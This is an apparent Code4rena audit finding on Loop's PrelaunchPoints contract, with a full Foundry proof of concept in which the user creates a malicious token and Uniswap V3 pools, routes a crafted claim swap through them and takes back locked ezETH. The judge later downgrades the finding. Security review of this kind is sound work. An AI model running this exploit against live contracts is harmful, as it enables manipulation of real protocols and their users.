code-423n4 / 2024-05-loop-findings

4 stars 4 forks source link

Users are able to withdraw their LRT tokens 7 days after loopActivation is set and earn points without swapping their `LRT` for `lpETH` #66

Closed howlbot-integration[bot] closed 3 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266 https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L448-L464

Vulnerability details

Impact

The main invariant : "Withdrawals are only active on emergency mode or during 7 days after loopActivation is set" is broken

This means a user can get protocol points for free, without having to trade their LRT tokens for lpETH

Proof of concept

When users stake LRT tokens in the protocol, they earn an amount of points corresponding to their deposit which is tracked in a backend server. Users are allowed to withdraw() their LRT but only up to 7 days after the protocol's admin has called PrelaunchPoints::setLoopAddresses(). Doing so, they "lose all their points".

7 days after the PrelaunchPoints::setLoopAddresses() call, the admins can trigger PrelaunchPoints::convertAllETH() which sets the startClaimDate and allows users to claim() their lpETH.

When a user claim(), its staked LRTs are swapped to native ETH through the exchangeProxy contract. These ETH are then sent to the lpETH contract which mints the corresponding amount of lpETH

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L259-L263

// At this point there should not be any ETH in the contract
// Swap token to ETH
_fillQuote(IERC20(_token), userClaim, _data);

// Convert swapped ETH to lpETH (1 to 1 conversion)
claimedAmount = address(this).balance;
lpETH.deposit{value: claimedAmount}(_receiver);

Once startClaimDate is set, users can't withdraw() anymore to get their LRT back.

The issue here is when the swap occurs through the _fillQuote() function, the _data parameter supplied can be crafted to retrieve the user's LRT tokens (without losing their points).

Before the swap is executed, the flow first reaches the _validateData() function which verifies that the data sent is a payload that executes either the function corresponding to UNI_SELECTOR (0x803ba26d) or TRANSFORM_SELECTOR (0x415565b0)

The UNI_SELECTOR is the selector that corresponds to the following function sellTokenForEthToUniswapV3(bytes,uint256,uint256,address) where bytes is a UniswapV3 encodedPath that describes the entire path of the swap.

Since this encodedPath is never checked, a malicious user can create a malicious token (called Evil Token) and 2 malicious pools (LRT-EVIL and EVIL-WETH) that will be inserted in the middle of the LRT to WETH swap like such :

LRT -> Evil Token -> WETH

At the end of the swap, the LRT tokens will be stored in one of the user's malicious pools and since he controls one side of it with his Evil Token he can easily extract the LRT back.


For the demonstration, we are going to use the ezETH token as LRT token

Here is a summary of the exploit path :

First, we need to install some dependencies :

forge install uniswap/v3-core --no-git

Then add the following in a new file called test/EvilERC20.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract EvilERC20 {
    mapping(address => uint256) public _balances;
    uint256 private _totalSupply;
    address owner;

    constructor() {
        owner = msg.sender;
    }

    function mint(address who, uint256 amount) external {
        require(msg.sender == owner);
        _mint(who, amount);
    }

    function approve(address, uint256) external pure returns(bool) {
        return true;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
    }

    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply + amount;
        _balances[account] = _balances[account] + amount;
    }

    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _totalSupply = _totalSupply - value;
        _balances[account] = _balances[account] - value;
    }

    function pullToken(address tokenAddress) external {
        require(msg.sender == owner, "Not owner");
        IERC20(tokenAddress).transfer(owner, IERC20(tokenAddress).balanceOf(address(this)));
    }
}

Then create a new test file called test/WithdrawInvariant.t.sol (which was made based on the PrelaunchPoints.t.sol provided)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/PrelaunchPoints.sol";
import "../src/interfaces/ILpETH.sol";

import "../src/mock/AttackContract.sol";
import "../src/mock/MockLpETH.sol";
import "../src/mock/MockLpETHVault.sol";
import {ERC20Token} from "../src/mock/MockERC20.sol";
import {LRToken} from "../src/mock/MockLRT.sol";

import "forge-std/console.sol";
import "v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "./EvilERC20.sol";

// Needed to create interfaces manually because v3-periphery wouldn't compile easily by importing it
interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );
}

interface ISwapRouter {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }
    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
}

contract WithdrawInvariant is Test {
    PrelaunchPoints public prelaunchPoints;
    AttackContract public attackContract;
    ILpETH public lpETH;
    LRToken public lrt;
    ILpETHVault public lpETHVault;
    uint256 public constant INITIAL_SUPPLY = 1000 ether;
    bytes32 referral = bytes32(uint256(1));

    address constant EXCHANGE_PROXY = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF;
    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address[] public allowedTokens;

    // Variables for the exploit
    IUniswapV3Factory public uniswapFactory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
    INonfungiblePositionManager public positionManager = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    ISwapRouter public swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
    address public constant ezETH = 0xbf5495Efe5DB9ce00f80364C8B423567e58d2110;
    address public user = makeAddr("user");
    address public maliciousPool1;
    address public maliciousPool2;

    function setUp() public {
        lrt = new LRToken();
        lrt.mint(address(this), INITIAL_SUPPLY);

        address[] storage allowedTokens_ = allowedTokens;
        allowedTokens_.push(address(lrt));

        prelaunchPoints = new PrelaunchPoints(EXCHANGE_PROXY, WETH, allowedTokens_);

        lpETH = new MockLpETH();
        lpETHVault = new MockLpETHVault();

        attackContract = new AttackContract(prelaunchPoints);
    }

    function testClaimToWithdrawLRT() public {
        // Allow ezETH
        prelaunchPoints.allowToken(ezETH);

        // User has 2 ezETH Token and 1 weth
        deal(ezETH, user, 2 ether);
        deal(WETH, user, 1 ether);

        // User starts his exploit
        vm.startPrank(user);

        // User creates a malicious token and mints them
        EvilERC20 evil = new EvilERC20();
        evil.mint(user, 100_000 ether);

        console.log("Balances before :");
        console.log("LP ETH :", lpETH.balanceOf(user));
        console.log("ezETH  :", ERC20Token(ezETH).balanceOf(user));
        console.log("WETH   :", ERC20Token(WETH).balanceOf(user));
        console.log("--------------");

        // User locks 1 ezETH
        ERC20Token(ezETH).approve(address(prelaunchPoints), type(uint256).max);
        prelaunchPoints.lock(ezETH, 1 ether, referral);
        vm.stopPrank();

        // Activation proceeds
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        // Time passes and users can start claiming
        vm.warp(prelaunchPoints.startClaimDate() + 1);

        vm.startPrank(user);

        // User can't withdraw his ezETH directly
        vm.expectRevert(PrelaunchPoints.NoLongerPossible.selector);
        prelaunchPoints.withdraw(ezETH);

        // User creates 2 malicious uniswapv3 pool : ezETH-EVIL ; WETH-EVIL
        uint24 fee = 100;
        maliciousPool1 = uniswapFactory.createPool(address(evil), ezETH, fee);
        maliciousPool2 = uniswapFactory.createPool(address(evil), WETH, fee);
        IUniswapV3Pool(maliciousPool1).initialize(1771580069046490802230235074);
        IUniswapV3Pool(maliciousPool2).initialize(1771580069046490802230235074);

        evil.approve(address(positionManager), type(uint256).max);
        ERC20Token(ezETH).approve(address(positionManager), type(uint256).max);
        ERC20Token(WETH).approve(address(positionManager), type(uint256).max);

        INonfungiblePositionManager.MintParams memory evil_pool_params = INonfungiblePositionManager.MintParams({
            token0 : address(evil),
            token1 : ezETH,
            fee : fee,
            tickLower: -887200,
            tickUpper: 887200,
            amount0Desired: 200 ether,
            amount1Desired: 1,
            amount0Min: 0,
            amount1Min: 0,
            recipient: user,
            deadline: block.timestamp
        });
        (uint256 evil_ezETH_NFT, , , ) = positionManager.mint(evil_pool_params);
        evil_pool_params.token1 = WETH;
        (uint256 evil_weth_NFT, , , ) = positionManager.mint(evil_pool_params);
        // Malicious pools are now ready to be used

        // User claims his lpETH making the swap go through his malicious pools
        {
            bytes memory encodedPath = abi.encodePacked(
                ezETH, fee, address(evil), fee, WETH
            );
            bytes memory data = abi.encodeWithSelector(
                prelaunchPoints.UNI_SELECTOR(), // selector
                encodedPath, // encodedPath for swap
                1 ether,  // sell amount
                0,   // min buy amount
                address(prelaunchPoints) // recipient
            );
            prelaunchPoints.claim(ezETH, 100, PrelaunchPoints.Exchange.UniswapV3, data);
        }

        // User swaps his evil token to retrieve his ezETH
        ISwapRouter.ExactInputSingleParams memory inputParams = ISwapRouter.ExactInputSingleParams({
            tokenIn : address(evil),
            tokenOut : ezETH,
            fee : fee,
            recipient : user,
            deadline : block.timestamp,
            amountIn : 100 ether,
            amountOutMinimum : 0,
            sqrtPriceLimitX96 : 0
        });
        swapRouter.exactInputSingle(inputParams);

        // User collects his (dust) fees
        INonfungiblePositionManager.CollectParams memory collectParams = INonfungiblePositionManager.CollectParams({
            tokenId : evil_ezETH_NFT,
            recipient : user,
            amount0Max : type(uint128).max,
            amount1Max : type(uint128).max
        });
        positionManager.collect(collectParams);
        collectParams.tokenId = evil_weth_NFT;
        positionManager.collect(collectParams);

        vm.stopPrank();

        console.log("Balances after :");
        console.log("LP ETH :", lpETH.balanceOf(user));
        console.log("ezETH  :", ERC20Token(ezETH).balanceOf(user));
        console.log("WETH   :", ERC20Token(WETH).balanceOf(user));
    }
}

Finally the PoC can be run using :

forge test --match-test "testClaimToWithdrawLRT" --fork-url https://eth.drpc.org --fork-block-number 19817094 -vv

At the end of it, the user lost only dust from swap fees

[⠔] Compiling...
[⠔] Compiling 51 files with 0.8.20
[⠑] Solc 0.8.20 finished in 4.92s
Compiler run successful!

Ran 1 test for test/WithdrawInvariant.t.sol:WithdrawInvariant
[PASS] testClaimToWithdrawLRT() (gas: 78882787)
Logs:
  Balances before :
  LP ETH : 0
  ezETH  : 2000000000000000000
  WETH   : 1000000000000000000
  --------------
  Balances after :
  LP ETH : 0
  ezETH  : 1999999999999996783
  WETH   : 999999999999999999

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 301.37ms (299.89ms CPU time)

Tools used

Foundry + Manual review

Recommended mitigation steps

There is no obvious mitigation steps to patch the issue as the protocol expects the provided data to come from 0x API

One idea would be to parse the swap path in _decodeUniswapV3Data() to make sure it swaps directly from LRT to WETH/ETH

Another way (that might not fit with the protocol's policy) would be to not rely on 0x API for the swap and process a swap directly on a DEX with suitable swap parameters

Assessed type

Context

c4-judge commented 4 months ago

koolexcrypto marked the issue as primary issue

0xd4n1el commented 3 months ago

That is possible, but we are targeting this case by using the Claim event, so if users do this they loose their points

0xd4n1el commented 3 months ago

That is possible, but we are targeting this case by using the Claim event, so if users do this they loose their points

c4-judge commented 3 months ago

koolexcrypto changed the severity to QA (Quality Assurance)

c4-judge commented 3 months ago

koolexcrypto marked the issue as grade-c